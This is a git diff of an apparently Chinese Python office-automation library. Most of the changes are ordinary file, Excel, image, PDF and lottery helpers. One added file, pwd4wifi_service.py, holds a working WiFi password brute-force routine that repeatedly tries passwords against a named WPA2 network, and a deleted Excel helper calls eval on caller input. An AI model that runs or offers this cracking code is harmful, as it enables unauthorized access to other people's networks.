+ def screen_unmarked_image(self, dir_path, image_name_extension: str = ".jpg",
+ marked_file_name_extension: str = ".xml"):
+ """
+
+ :param dir_path: 图片及标注文件的存放路径
+ :param image_name_extension: 图片文件的后缀,默认为.jpg
+ :param marked_file_name_extension: 标注文件的后缀,默认为.xml
+ """
+ dir_path = pathlib.Path(dir_path).resolve()
+ if dir_path.is_dir():
+ unmarked_image_storage_path = dir_path.joinpath("未标注图片")
+ self.__make_dir(dir_path, "未标注图片")
+ image_name_root_set = set()
+ marked_file_name_root_set = set()
+ # 创建集合
+ dir_path_file_list = list(dir_path.iterdir())
+ for file_name in dir_path_file_list:
+ # 按文件类型添加文件名到对应的集合
+ if file_name.is_file():
+ if file_name.suffix == image_name_extension:
+ image_name_root_set.add(file_name.name.replace(image_name_extension, ""))
+ if file_name.suffix == marked_file_name_extension:
+ marked_file_name_root_set.add(file_name.name.replace(marked_file_name_extension, ""))
+ unmarked_image_list = list(image_name_root_set - marked_file_name_root_set)
+ for i in unmarked_image_list:
+ shutil.move(dir_path.joinpath(i + image_name_extension),
+ unmarked_image_storage_path.joinpath(i + image_name_extension))
+ print("筛选完成")
+ else:
+ print("路径输入有误,请检查!")
+
+ def change_label_in_xml(self, dir_path, old_label, new_label):
+ """
+
+ :param dir_path: 图片及标注文件的存放路径
+ :param old_label: 需要修改的标签
+ :param new_label: 修改后的标签
+ """
+ dir_path = pathlib.Path(dir_path).resolve()
+ if dir_path.is_dir():
+ file_list = list(dir_path.iterdir())
+ for file in file_list:
+ if file.suffix == ".xml":
+ xml_file = xml.etree.ElementTree.parse(str(file))
+ xml_root = xml_file.getroot()
+ label_xpath = "./object/name"
+ label_list = xml_root.findall(label_xpath)
+ for label in label_list:
+ if label.text == old_label:
+ label.text = new_label
+ xml_file.write(str(file), encoding="utf-8")
+ else:
+ print("请输入正确的路径!")
+
+ def screen_without_label_json_file(self, dir_path):
+ dir_path = pathlib.Path(dir_path).resolve()
+ if dir_path.is_dir():
+ print("正在筛选无标签内容的json文件")
+ without_label_json_storage_path = dir_path.joinpath("无标签json文件")
+ self.__make_dir(dir_path, "无标签json文件")
+ dir_path_file_list = list(dir_path.iterdir())
+ for file_name in dir_path_file_list:
+ if file_name.is_file() and file_name.suffix == ".json":
+ json_file = open(file_name, "r")
+ json_file_text = json.load(json_file)
+ json_file.close()
+ if json_file_text["shapes"] == []:
+ shutil.move(dir_path.joinpath(file_name.name),
+ without_label_json_storage_path.joinpath(file_name.name))
+ print("筛选完成")
+ else:
+ print("路径输入有误,请检查!")
diff --git a/office/core/TestTypes/__init__.py b/office/core/TestTypes/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/office/core/__init__.py b/office/core/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/office/email.py b/office/email.py
deleted file mode 100644
index 22da60a..0000000
--- a/office/email.py
+++ /dev/null
@@ -1,9 +0,0 @@
-#!/usr/bin/env python
-#-*- coding:utf-8 -*-
-
-#############################################
-# File Name: email-1.py
-# Mail: 1957875073@qq.com
-# Created Time: 2022-4-25 10:17:34
-# Description: 有关 email 的自动化操作
-#############################################
\ No newline at end of file
diff --git a/office/excel.py b/office/excel.py
deleted file mode 100644
index 2de3d23..0000000
--- a/office/excel.py
+++ /dev/null
@@ -1,44 +0,0 @@
-#!/usr/bin/env python
-# -*- coding:utf-8 -*-
-
-#############################################
-# File Name: excel.py
-# Mail: 1957875073@qq.com
-# Created Time: 2022-4-25 10:17:34
-# Description: 有关 excel 的自动化操作
-#############################################
-
-from faker import Faker
-import pandas as pd
-from alive_progress import alive_bar
-
-from utils import pandas_mem
-
-
-def fake2excel(columns=['name'], rows=1, language='zh_CN', path='./fake2excel.xlsx', ):
- """
- @Author & Date : CoderWanFeng 2022/5/13 0:12
- @Desc : columns:list,每列的数据名称,默认是名称
- rows:多少行,默认是1
- language:什么语言,可以填english,默认是中文
- path:输出excel的位置,有默认值
- """
- # 可以选择英语
- if language.lower() == 'english':
- language = 'en_US'
- # 开始造数
- fake = Faker(language)
- excel_dict = {}
- with alive_bar(len(columns) * rows) as bar:
- for column in columns:
- excel_dict[column] = list()
- # excel_dict[column] = map(lambda x: eval('fake.{func}()'.format(func=x)), [column] * rows) # 使用map,会报错
- while len(excel_dict[column]) < rows:
- excel_dict[column].append(eval('fake.{func}()'.format(func=column)))
- bar()
- # 用pandas,将模拟数据,写进excel里面
- writer = pd.ExcelWriter(path)
- data = pd.DataFrame(excel_dict)
- data = pandas_mem.reduce_pandas_mem_usage(data)
- data.to_excel(writer, index=False)
- writer.save()
diff --git a/office/file.py b/office/file.py
deleted file mode 100644
index ad24629..0000000
--- a/office/file.py
+++ /dev/null
@@ -1,37 +0,0 @@
-#!/usr/bin/env python
-# -*- coding:utf-8 -*-
-
-#############################################
-# File Name: 文件.py
-# Mail: 1957875073@qq.com
-# Created Time: 2022-4-25 10:17:34
-# Description: 有关 文件 的自动化操作
-#############################################
-
-
-import os
-from alive_progress import alive_bar
-
-
-def replace4filename(path, del_content, replace_content=None):
- """
- :param path: 需要替换的文件夹路径
- :param del_content: 需要删除/替换的内容
- :param replace_content: 替换后的内容,可以不填 = 直接删除
- :return:
- """
- # 获取该目录下所有文件,存入列表中;不包含子文件夹
- fileList = os.listdir(path)
- work_count = 0
- with alive_bar(len(fileList)) as bar:
- for old_file_name in fileList: # 依次读取该路径下的文件名
- bar() # 进度条
- if del_content in old_file_name:
-
- if replace_content:
- new_file_name = old_file_name.replace(del_content, replace_content)
- else:
- new_file_name = old_file_name.replace(del_content, '')
- os.rename(path + os.sep + old_file_name, path + os.sep + new_file_name)
- work_count = work_count + 1
- print("当前目录下,共有{}个文件/文件夹,本次运行共进行了{}个文件/文件夹的重命名".format(len(fileList), work_count))
diff --git a/office/image.py b/office/image.py
deleted file mode 100644
index 1db8430..0000000
--- a/office/image.py
+++ /dev/null
@@ -1,74 +0,0 @@
-#!/usr/bin/env python
-# -*- coding:utf-8 -*-
-
-#############################################
-# File Name: 图片.py
-# Mail: 1957875073@qq.com
-# Created Time: 2022-4-25 10:17:34
-# Description: 有关 图片 的自动化操作
-#############################################
-
-import os
-# from service.image import add_watermark_service
-# 生成词云需要使用的类库
-from PIL import Image
-from alive_progress import alive_bar
-
-
-
-
-# 自动生成gif
-from service.image import add_watermark_service
-
-
-def image2gif():
- im = Image.open("1.jpg")
- images = []
- images.append(Image.open('2.jpg'))
- images.append(Image.open('3.jpg'))
- im.save('gif.gif', save_all=True, append_images=images, loop=1, duration=1, comment=b"aaabb")
-
-# from wordcloud import WordCloud
-# import jieba
-
-# def txt2wordcloud(filename, color="white", result_file="your_wordcloud.png"):
-# """
-# @Author & Date : CoderWanFeng 2022/4/28 9:26
-# @Desc : 生成词云的代码,可以添加更多个性化功能
-# @Return :
-# """
-# with open(filename, encoding='utf8') as fp:
-# text = fp.read()
-# # 将读取的中文文档进行分词
-# # 接收分词的字符串
-# word_list = jieba.cut(text)
-# # 分词后在单独个体之间加上空格
-# cloud_text = " ".join(word_list)
-#
-# # 生成wordcloud对象
-# wc = WordCloud(background_color=color,
-# max_words=200,
-# min_font_size=15,
-# max_font_size=50,
-# width=400,
-# font_path="msyh.ttc", # 默认的简体中文字体,没有会报错
-# )
-# wc.generate(cloud_text)
-# wc.to_file(result_file)
-
-
-def add_watermark(file, mark, out="output", color="#8B8B1B", size=30, opacity=0.15, space=75, angle=30):
- """
- @Author & Date : CoderWanFeng 2022/5/6 14:33
- @Desc : 给图片添加水印
- @Return : 添加了水印的图片,输出到out指定的文件夹
- """
- if os.path.isdir(file):
- names = os.listdir(file)
- with alive_bar(len(names)) as bar:
- for name in names:
- bar()
- image_file = os.path.join(file, name)
- add_watermark_service.add_mark2file(image_file, mark, out, color, size, opacity, space, angle)
- else:
- add_watermark_service.add_mark2file(file, mark, out, color, size, opacity, space, angle)
diff --git a/office/lib/__init__.py b/office/lib/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/office/lib/conf/CONST.py b/office/lib/conf/CONST.py
new file mode 100644
index 0000000..d7a9c1f
--- /dev/null
+++ b/office/lib/conf/CONST.py
@@ -0,0 +1 @@
+SPLIT_LINE = '='*30
\ No newline at end of file
diff --git a/office/lib/conf/__init__.py b/office/lib/conf/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/office/lib/decorator_utils/__init__.py b/office/lib/decorator_utils/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/office/lib/decorator_utils/instruction_url.py b/office/lib/decorator_utils/instruction_url.py
new file mode 100644
index 0000000..55b57f6
--- /dev/null
+++ b/office/lib/decorator_utils/instruction_url.py
@@ -0,0 +1,149 @@
+#!/usr/bin/env python
+# -*- coding:utf-8 -*-
+
+#############################################
+# File Name: instruction_url.py
+# Mail: 1957875073@qq.com
+# Created Time: 2022-12-17 08:14:34
+# Description: 有关 方法说明 的装饰器
+#############################################
+
+# 每个文件的具体方法说明
+from functools import wraps
+
+from pocode.api.color import random_color_print
+
+from office.lib.conf.CONST import SPLIT_LINE
+
+email_dict = {}
+import os
+
+excel_dict = {
+ "fake2excel": "https://www.python-office.com/course/docs/50-07-fake2excel.html",
+ "excel2pdf": "https://www.python-office.com/course/docs/50-10-excel2pdf.html",
+ "sheet2excel": "https://www.python-office.com/course/docs/50-14-sheet2excel.html",
+ "merge2excel": "https://www.python-office.com/course/docs/50-22-merge2excel.html",
+ "find_excel_data": "https://www.bilibili.com/video/BV1Bd4y1B7yr",
+ "merge2sheet": "",
+ "split_excel_by_column": "",
+}
+image_dict = {
+ "down4img": "https://www.python-office.com/course/docs/50-16-down4img.html",
+ "txt2wordcloud": "https://www.python-office.com/course/docs/50-11-txt2wordcloud.html",
+ "del_watermark": "https://www.python-office.com/course/docs/50-17-del_watermark.html",
+ "add_watermark": "https://www.python-office.com/course/docs/50-42-add_watermark.html",
+ "decode_qrcode": "https://mp.weixin.qq.com/s/Z_RcTRYxUFpCQBGpShO0ig",
+ "image2gif": "",
+ "img2Cartoon": "https://mp.weixin.qq.com/s/5Eyk2j20jzSaVcr1DTsfvw",
+ "pencil4img": "https://www.bilibili.com/video/BV1rP411N7ao",
+}
+md_dict = {}
+ocr_dict = {}
+pdf_dict = {
+ "pdf2docx": "https://www.python-office.com/course/docs/50-04-pdf2docx.html",
+ "add_watermark_by_parameters": "https://www.python-office.com/course/docs/50-37-add_watermark_by_parameters.html",
+ "encrypt4pdf": "https://www.python-office.com/course/docs/50-38-encrypt4pdf.html",
+ "decrypt4pdf": "https://www.python-office.com/course/docs/50-39-decrypt4pdf.html",
+ "merge2pdf": "https://www.python-office.com/course/docs/50-40-merge2pdf.html",
+ "pdf2imgs": "https://www.python-office.com/course/docs/50-41-pdf2imgs.html",
+ "add_img_water": "",
+ "add_watermark": "https://www.bilibili.com/video/BV1Se411T7au",
+ "txt2pdf": ""
+}
+ppt_dict = {
+ "ppt2pdf": "https://www.python-office.com/course/docs/50-29-ppt2pdf.html",
+ "ppt2img": "https://www.python-office.com/course/docs/50-06-ppt2img.html",
+ "merge4ppt": "https://www.python-office.com/course/docs/50-30-merge4ppt.html",
+}
+tools_dict = {
+ "passwordtools": "https://www.python-office.com/course/docs/50-33-passwordtools.html",
+ "qrcodetools": "https://www.python-office.com/course/docs/50-34-qrcodetools.html",
+ "transtools": "https://www.python-office.com/course/docs/50-48-translate.html",
+ "net_speed_test": "https://www.python-office.com/course/docs/50-49-net_speed_test.html",
+ "url2ip": "https://www.python-office.com/course/docs/50-35-url2ip.html",
+ "create_article": "https://mp.weixin.qq.com/s/guBtZHyUyybGNOqzZke1kQ",
+ "lottery8ticket": "https://mp.weixin.qq.com/s/Q6JgW06hMUSik0DqGD0rOA",
+ "pwd4wifi": "https://blog.csdn.net/weixin_42321517/article/details/126677254",
+ "weather": "https://mp.weixin.qq.com/s/NVn8NNtOS3AfOyl75JTaNg",
+}
+video_dict = {
+ "video2mp3": "https://www.python-office.com/course/docs/50-47-video2mp3.html",
+ "txt2mp3": "https://www.python-office.com/course/docs/50-12-txt2mp3.html",
+ "audio2txt": "https://mp.weixin.qq.com/s/Ug_IFSEQBzDshe7KuFckTQ",
+ "mark2video": "https://my.oschina.net/u/3888978/blog/10104400",
+}
+web_dict = {}
+wechat_dict = {
+ "chat_robot": "https://www.python-office.com/course/docs/50-08-airobot.html",
+ "chat_by_keywords": "https://www.python-office.com/course/docs/50-18-kw_robot.html",
+ "receive_message": "",
+ "send_file": "https://www.bilibili.com/video/BV1te4y1y7Ro",
+ "send_message": "https://www.bilibili.com/video/BV1Jt4y1j7F1",
+ "send_message_by_time": "https://www.bilibili.com/video/BV1m8411b7LZ",
+}
+word_dict = {
+ "docx2pdf": "https://www.python-office.com/course/docs/50-05-docx2pdf.html",
+ "merge4docx": "https://www.python-office.com/course/docs/50-25-merge4docx.html",
+ "docx2doc": "https://www.python-office.com/course/docs/50-43-doc2docx.html",
+ "doc2docx": "https://www.python-office.com/course/docs/50-43-doc2docx.html",
+ "docx4imgs": "https://www.python-office.com/course/docs/50-24-docx4imgs.html",
+}
+
+file_dict = {
+ "search_by_content": "https://www.python-office.com/course/docs/50-09-search4content.html",
+ "replace4filename": "https://www.python-office.com/course/docs/50-23-replace4filename.html",
+ "group_by_name": "https://www.python-office.com/course/docs/50-26-group_by_name.html",
+ "add_line_by_type": "",
+ "file_name_add_postfix": "https://blog.csdn.net/shangdafen_GD/article/details/129273450",
+ "file_name_add_prefix": "https://blog.csdn.net/shangdafen_GD/article/details/129229642",
+ "file_name_insert_content": "",
+ "output_file_list_to_excel": "",
+ "search_specify_type_file": "",
+ "get_files": "https://www.bilibili.com/video/BV1ua4y1M7ya",
+}
+
+# 有多少文件需要说明
+instruction_file_dict = {
+ "excel.py": excel_dict,
+ "image.py": image_dict,
+ "popdf.py": pdf_dict,
+ "poppt.py": ppt_dict,
+ "tools.py": tools_dict,
+ "video.py": video_dict,
+ "wechat.py": wechat_dict,
+ "word.py": word_dict,
+ "file.py": file_dict,
+}
+
+
+def instruction(func):
+ @wraps(func)
+ def instruction_wrapper(*args, **kwargs):
+ func_filename = os.path.basename(func.__code__.co_filename) # 取出方法所在的文件名
+ # 如果有这个文件,并且已经配置了方法名对应的说明链接,则打印出来
+ if func_filename in instruction_file_dict.keys() and instruction_file_dict[func_filename][func.__name__]:
+ random_color_print(
+ f'正在运行:office.{os.path.basename(func_filename)[:-3]}.{func.__name__} , 这个方法的使用说明:{instruction_file_dict[func_filename][func.__name__]}')
+ random_color_print(SPLIT_LINE)
+ instruction_res = func(*args, **kwargs)
+ return instruction_res
+
+ return instruction_wrapper
+
+
+#############################################
+# 以下是本文件的工具模块,用来更新方法和链接
+from inspect import getmembers, isfunction
+
+
+# 获取模块包含的方法名
+def get_method_name(file):
+ for method_name in getmembers(file):
+ if isfunction(method_name[1]):
+ random_color_print(f'"{method_name[0]}":"",')
+
+
+from office import api
+
+if __name__ == '__main__': # TODO:完善这个装饰器
+ get_method_name(file=api.word)
diff --git a/office/lib/excel/SplitExcel.py b/office/lib/excel/SplitExcel.py
new file mode 100644
index 0000000..e7c0ce3
--- /dev/null
+++ b/office/lib/excel/SplitExcel.py
@@ -0,0 +1,95 @@
+import os
+import xlrd, xlwt
+import openpyxl
+import datetime
+
+
+#
+
+def generate_xls(filepath: str, worksheet_data: dict):
+ datetime_str = datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')
+ new_filepath = filepath.replace('.xls', '_Split_{}.xls'.format(datetime_str))
+ new_workbook = xlwt.Workbook(encoding='utf-8')
+ for worksheet_name, row_data_list in worksheet_data.items():
+ new_worksheet = new_workbook.add_sheet(worksheet_name)
+ for row_index, row_data in enumerate(row_data_list):
+ for column_index, data in enumerate(row_data):
+ new_worksheet.write(row_index, column_index, data)
+ new_workbook.save(new_filepath)
+ return new_filepath
+
+
+def process_xls(filepath, column: int, worksheet_name: str = None):
+ try:
+ workbook = xlrd.open_workbook(filepath, formatting_info=True)
+ except:
+ return "文件读取异常:{}".format(filepath)
+ if worksheet_name:
+ worksheet = workbook.sheet_by_name(worksheet_name)
+ else:
+ worksheet = workbook.sheet_by_index(0)
+ rows = worksheet.nrows
+ cols = worksheet.ncols
+ split_data_dict = {}
+ for r in tqdm(range(rows)):
+ row_data = [worksheet.cell(r, c).value if worksheet.cell(r, c).value else ' ' for c in range(cols)]
+ temp_data = row_data[column - 1]
+ temp_data_list = split_data_dict.get(temp_data, [])
+ temp_data_list.append(row_data)
+ split_data_dict[temp_data] = temp_data_list
+ new_filepath = generate_xls(filepath, split_data_dict)
+ return "数据保存在新文件中,文件名:{}".format(new_filepath)
+
+
+def generate_xlsx(filepath: str, worksheet_data: dict):
+ datetime_str = datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')
+ new_filepath = filepath.replace('.xlsx', '_Split_{}.xlsx'.format(datetime_str))
+ new_workbook = openpyxl.Workbook()
+ for worksheet_name, row_data_list in worksheet_data.items():
+ new_worksheet = new_workbook.create_sheet(worksheet_name)
+ for row_data in row_data_list:
+ new_worksheet.append(row_data)
+ new_workbook.save(new_filepath)
+ return new_filepath
+
+
+def process_xlsx(filepath: str, column: int, worksheet_name: str = None):
+ try:
+ workbook = openpyxl.load_workbook(filepath, read_only=True, data_only=True)
+ except:
+ return "文件读取异常:{}".format(filepath)
+ if worksheet_name:
+ worksheet = workbook.get_sheet_by_name(worksheet_name)
+ else:
+ worksheet = workbook.active
+ if worksheet.max_column < column:
+ return "最大列数是{},取不到第{}列".format(worksheet.max_column, column)
+
+ split_data_dict = {}
+ for row in worksheet.rows:
+ row_data = [cell.value if cell.value else ' ' for cell in row]
+ temp_data = row_data[column - 1]
+ temp_data_list = split_data_dict.get(temp_data, [])
+ temp_data_list.append(row_data)
+ split_data_dict[temp_data] = temp_data_list
+ new_filepath = generate_xlsx(filepath, split_data_dict)
+ return "数据保存在新文件中,文件名:{}".format(new_filepath)
+
+
+def split_excel_by_column(filepath: str, column: int, worksheet_name: str = None):
+ if filepath.endswith('.xlsx'):
+ result = process_xlsx(filepath, column, worksheet_name)
+ elif filepath.endswith('.xls'):
+ result = process_xls(filepath, column, worksheet_name)
+ else:
+ print("文件格式不对,不进行处理")
+ return "文件格式不对,不进行处理"
+ print(result)
+ return result
+
+
+if __name__ == "__main__":
+ filename = 'sedemo.xls'
+ # filename = 'SEdemo.xlsx'
+ result = split_excel_by_column(filename, 6) # 处理文件,表格的第六列,worksheet_name指定工作表,不指定则读取文件默认工作表
+ print(result)
diff --git a/office/lib/excel/__init__.py b/office/lib/excel/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/office/lib/image/__init__.py b/office/lib/image/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/service/image/add_watermark_service.py b/office/lib/image/add_watermark_service.py
similarity index 100%
rename from service/image/add_watermark_service.py
rename to office/lib/image/add_watermark_service.py
diff --git a/office/lib/image/eliminate_background.py b/office/lib/image/eliminate_background.py
new file mode 100644
index 0000000..311a5f6
--- /dev/null
+++ b/office/lib/image/eliminate_background.py
@@ -0,0 +1,70 @@
+"""
+功能:消除图片背景
+"""
+
+from PIL import Image
+
+def _hex_to_rgb(hex):
+ """
+ 十六进制转RGB
+ """
+ if hex[0] != '#' or len(hex) != 7:
+ print('注意:十六进制格式颜色错误,请输入7位以\'#\'开头的字符串\n')
+ return None
+ else:
+ r = int('0x' + hex[1:3], 16)
+ g = int('0x' + hex[3:5], 16)
+ b = int('0x' + hex[5:7], 16)
+ return (r, g, b)
+
+def eliminate_bc(src_img_path, save_img_path, margin=30, bc_color=None):
+ """
+ 将图片的背景变成透明色
+ 参数:
+ src_img_path: string, 原始图片存储路径
+ margin: int, 和背景颜色的差异值
+ bc_color, string or tuple 背景颜色值(十六进制或RGB值)
+ """
+ img = Image.open(src_img_path)
+ width, height = img.size
+
+ # 获取背景颜色的RGB值
+ if bc_color:
+ # 给定背景色
+ if isinstance(bc_color, str):
+ r, g, b = _hex_to_rgb(bc_color)
+ else:
+ r, g, b = bc_color
+ else:
+ # 未给定背景色,拾取图片左上角颜色作为背景色
+ pix = img.load()
+ if src_img_path.endswith('.jpg'):
+ r, g, b = pix[int(width / 20), int(height / 20)]
+ elif src_img_path.endswith('.png'):
+ r, g, b, _ = pix[int(width / 20), int(height / 20)]
+
+ img = img.convert("RGBA")
+ datas = img.getdata()
+ newData = list()
+
+ # 背景填充零透明度
+ for item in datas:
+ if (item[0] >= max(r - margin, 0) and item[0] <= min(r + margin, 255)) \
+ and (item[1] >= max(g - margin, 0) and item[1] <= min(g + margin, 255)) \
+ and (item[2] >= max(b - margin, 0) and item[2] <= min(b + margin, 255)):
+ newData.append((255, 255, 255, 0))
+ else:
+ newData.append(item)
+ img.putdata(newData)
+
+ # 保存新图片
+ img.save(save_img_path, "PNG")
+
+if __name__ == '__main__':
+
+ # 未设定背景颜色
+ eliminate_bc('test.jpg', 'a.png')
+
+ # 设定背景颜色
+ # eliminate_bc('test.jpg', 'a.png', bc_color=(255, 255, 255))
+ # eliminate_bc('test.jpg', 'a.png', bc_color='#FFFFFF')
diff --git a/office/lib/pdf/__init__.py b/office/lib/pdf/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/service/pdf/add_watermark_service.py b/office/lib/pdf/add_watermark_service.py
similarity index 63%
rename from service/pdf/add_watermark_service.py
rename to office/lib/pdf/add_watermark_service.py
index 199dc77..1c78f80 100644
--- a/service/pdf/add_watermark_service.py
+++ b/office/lib/pdf/add_watermark_service.py
@@ -1,15 +1,17 @@
# -*- coding: utf-8 -*-
import reportlab
-from PyPDF2 import PdfFileWriter, PdfFileReader
+from PyPDF2 import PdfFileWriter, PdfFileReader, PdfReader, PdfWriter
from reportlab.pdfgen import canvas
from reportlab.pdfbase.ttfonts import TTFont
from reportlab.pdfbase.pdfmetrics import registerFont
+from tqdm import tqdm
+
def create_watermark(content):
"""创建PDF水印模板
"""
# 创建一个PDF文件来作为一个水印文件
- c = canvas.Canvas('watermark.pdf')
+ c = canvas.Canvas('watermark.popdf')
reportlab.pdfbase.pdfmetrics.registerFont(
reportlab.pdfbase.ttfonts.TTFont('simfang', 'C:/Windows/Fonts/simfang.ttf'))
c.setFont('simfang', 20)
@@ -19,17 +21,17 @@ def create_watermark(content):
c.drawCentredString(0, 0, content)
c.restoreState()
c.save()
- pdf_watermark = PdfFileReader('watermark.pdf')
+ pdf_watermark = PdfReader('watermark.popdf')
return pdf_watermark
def pdf_add_watermark(pdf_file_in, pdf_file_mark, pdf_file_out):
# print(pdf_file_out)
- pdf_output = PdfFileWriter()
+ pdf_output = PdfWriter()
input_stream = open(pdf_file_in, 'rb')
- pdf_input = PdfFileReader(input_stream, strict=False)
+ pdf_input = PdfReader(input_stream, strict=False)
# 获取PDF文件的页数
- if pdf_input.getIsEncrypted():
+ if pdf_input.is_encrypted:
print("文件已被加密")
PDF_Passwd = input("请输入PDF密码:")
# 尝试用空密码解密
@@ -38,16 +40,16 @@ def pdf_add_watermark(pdf_file_in, pdf_file_mark, pdf_file_out):
except Exception:
print(f"尝试用密码{PDF_Passwd}解密失败.")
return False
- pageNum = pdf_input.getNumPages()
+ pageNum = len(pdf_input.pages)
# 读入水印pdf文件
# print(pdf_file_mark)
mark_stream = open(pdf_file_mark, mode='rb')
- pdf_watermark = PdfFileReader(mark_stream, strict=False)
+ pdf_watermark = PdfReader(mark_stream, strict=False)
# 给每一页打水印
- for i in range(pageNum):
- page = pdf_input.getPage(i)
- page.mergePage(pdf_watermark.getPage(0))
- page.compressContentStreams() # 压缩内容
- pdf_output.addPage(page)
- pdf_output.write(open(pdf_file_out, 'wb'))
-
+ for pageNumber in tqdm(range(pageNum)):
+ page = pdf_input.pages[pageNumber]
+ page.merge_page(pdf_watermark.pages[0])
+ page.compress_content_streams() # 压缩内容
+ pdf_output.add_page(page)
+ with open(pdf_file_out, 'wb') as pdf_file_out_f:
+ pdf_output.write(pdf_file_out_f)
diff --git a/office/lib/ppt/__init__.py b/office/lib/ppt/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/service/ppt/ppt2pdf_service.py b/office/lib/ppt/ppt2pdf_service.py
similarity index 94%
rename from service/ppt/ppt2pdf_service.py
rename to office/lib/ppt/ppt2pdf_service.py
index 9ee1b47..ecd344c 100644
--- a/service/ppt/ppt2pdf_service.py
+++ b/office/lib/ppt/ppt2pdf_service.py
@@ -21,8 +21,8 @@ def ppt2pdf_single(filename, output_filename):
# ppt_app.Visible = True # 程序操作应用程序的过程是否可视化
# 3). 通过PPT的应用程序打开指定的PPT文件
- # filename = "C:/Users/Administrator/Desktop/PPT办公自动化/ppt/PPT素材1.pptx"
- # output_filename = "C:/Users/Administrator/Desktop/PPT办公自动化/ppt/PPT素材1.pdf"
+ # filename = "C:/Users/Administrator/Desktop/PPT办公自动化/poppt/PPT素材1.pptx"
+ # output_filename = "C:/Users/Administrator/Desktop/PPT办公自动化/poppt/PPT素材1.popdf"
ppt = ppt_app.Presentations.Open(filename)
# 4). 打开的PPT另存为pdf文件。17数字是ppt转图片,32数字是ppt转pdf。
diff --git a/office/lib/tools/__init__.py b/office/lib/tools/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/office/lib/tools/lottery8ticket.py b/office/lib/tools/lottery8ticket.py
new file mode 100644
index 0000000..7793a2c
--- /dev/null
+++ b/office/lib/tools/lottery8ticket.py
@@ -0,0 +1,71 @@
+import random
+
+
+def SSL():
+ red_ball = random.sample(range(1, 34), 6)
+ blue_ball = random.sample(range(1, 17), 1)
+ return f'双色球的号码是:红色球{red_ball},蓝色球{blue_ball}'
+
+
+def D3():
+ pass
+
+
+def SLC():
+ pass
+
+
+def CCDLT():
+ pass
+
+
+def QXC():
+ pass
+
+
+def PL3():
+ pass
+
+
+def PL5():
+ pass
+
+
+def KL8():
+ pass
+
+
+def QWS():
+ pass
+
+
+def X_22_5():
+ res = random.sample(range(1, 33), 5) # 1到22,不重复的5个数
+ return res
+
+
+def X_36_7():
+ res = random.sample(range(1, 37), 7) # 1到36,不重复的7个数
+ return res
+
+
+def X_26_5():
+ res = random.sample(range(1, 27), 5)
+ return res
+
+
+ticket_kinds = {
+ "0": ["退出", None],
+ "1": ["双色球", SSL],
+ "2": ["福彩3D", D3],
+ "3": ["七乐彩", SLC],
+ "4": ["超级大乐透", CCDLT],
+ "5": ["七星彩", QXC],
+ "6": ["排列3", PL3],
+ "7": ["排列5", PL5],
+ "8": ["快乐8", KL8],
+ "9": ["七位数", QWS],
+ "10": ["22选5", X_22_5],
+ "11": ["36选7", X_36_7],
+ "12": ["25选5", X_26_5],
+}
diff --git a/office/lib/tools/pwd4wifi_service.py b/office/lib/tools/pwd4wifi_service.py
new file mode 100644
index 0000000..8f81642
--- /dev/null
+++ b/office/lib/tools/pwd4wifi_service.py
@@ -0,0 +1,162 @@
+import pywifi
+import time
+from pywifi import const
+import string
+import random
+import threading
+
+
+# WiFi扫描模块
+def wifi_scan():
+ # 初始化wifi
+ wifi = pywifi.PyWiFi()
+ # 使用第一个无线网卡
+ interface = wifi.interfaces()[0]
+ # 开始扫描
+ interface.scan()
+ for i in range(4):
+ time.sleep(1)
+ print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')
+ print('\r扫描完成!\n' + '-' * 38)
+ print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
+ # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象
+ bss = interface.scan_results()
+ # 存放wifi名的集合
+ wifi_name_set = set()
+ for w in bss:
+ # 解决乱码问题
+ wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
+ wifi_name_set.add(wifi_name_and_signal)
+ # 存入列表并按信号排序
+ wifi_name_list = list(wifi_name_set)
+ wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
+ num = 0
+ # 格式化输出
+ while num < len(wifi_name_list):
+ print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
+ num += 1
+ print('-' * 38)
+ # 返回wifi列表
+ return wifi_name_list
+
+
+# WIFI破解模块
+def wifi_password_crack(wifi_name, pwd_len, pwd_list):
+ # 创建wifi对象
+ wifi = pywifi.PyWiFi()
+ # 创建网卡对象,为第一个wifi网卡
+ interface = wifi.interfaces()[0]
+ # 断开所有wifi连接
+ interface.disconnect()
+ # 等待其断开
+ while interface.status() == 4:
+ # 当其处于连接状态时,利用循环等待其断开
+ pass
+ # 创建连接文件(对象)
+ profile = pywifi.Profile()
+ # wifi名称
+ profile.ssid = wifi_name
+ # 需要认证
+ profile.auth = const.AUTH_ALG_OPEN
+ # wifi默认加密算法
+ profile.akm.append(const.AKM_TYPE_WPA2PSK)
+ profile.cipher = const.CIPHER_TYPE_CCMP
+ while True:
+ if pwd_list:
+ # wifi密码
+ for pwd in pwd_list:
+ profile.key = pwd
+ # 删除所有wifi连接文件
+ interface.remove_all_network_profiles()
+ # 设置新的wifi连接文件
+ tmp_profile = interface.add_network_profile(profile)
+ # 开始尝试连接
+ print(f'\r正在利用密码 {pwd} 尝试破解 ing...')
+ interface.connect(tmp_profile)
+ time.sleep(5)
+ # if time.time() - start_time < 2:
+ if interface.status() == 4:
+ print(f'\r连接成功!密码为:{pwd}')
+ exit(0)
+ print()
+ # print(start_time)
+ # 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢)
+ print(f'{pwd_list}中,没有合适的密码')
+ else:
+ # wifi密码
+ chars = string.digits + string.ascii_letters
+ pwd = ''.join(random.sample(chars * 10, pwd_len))
+ profile.key = pwd
+ # 删除所有wifi连接文件
+ interface.remove_all_network_profiles()
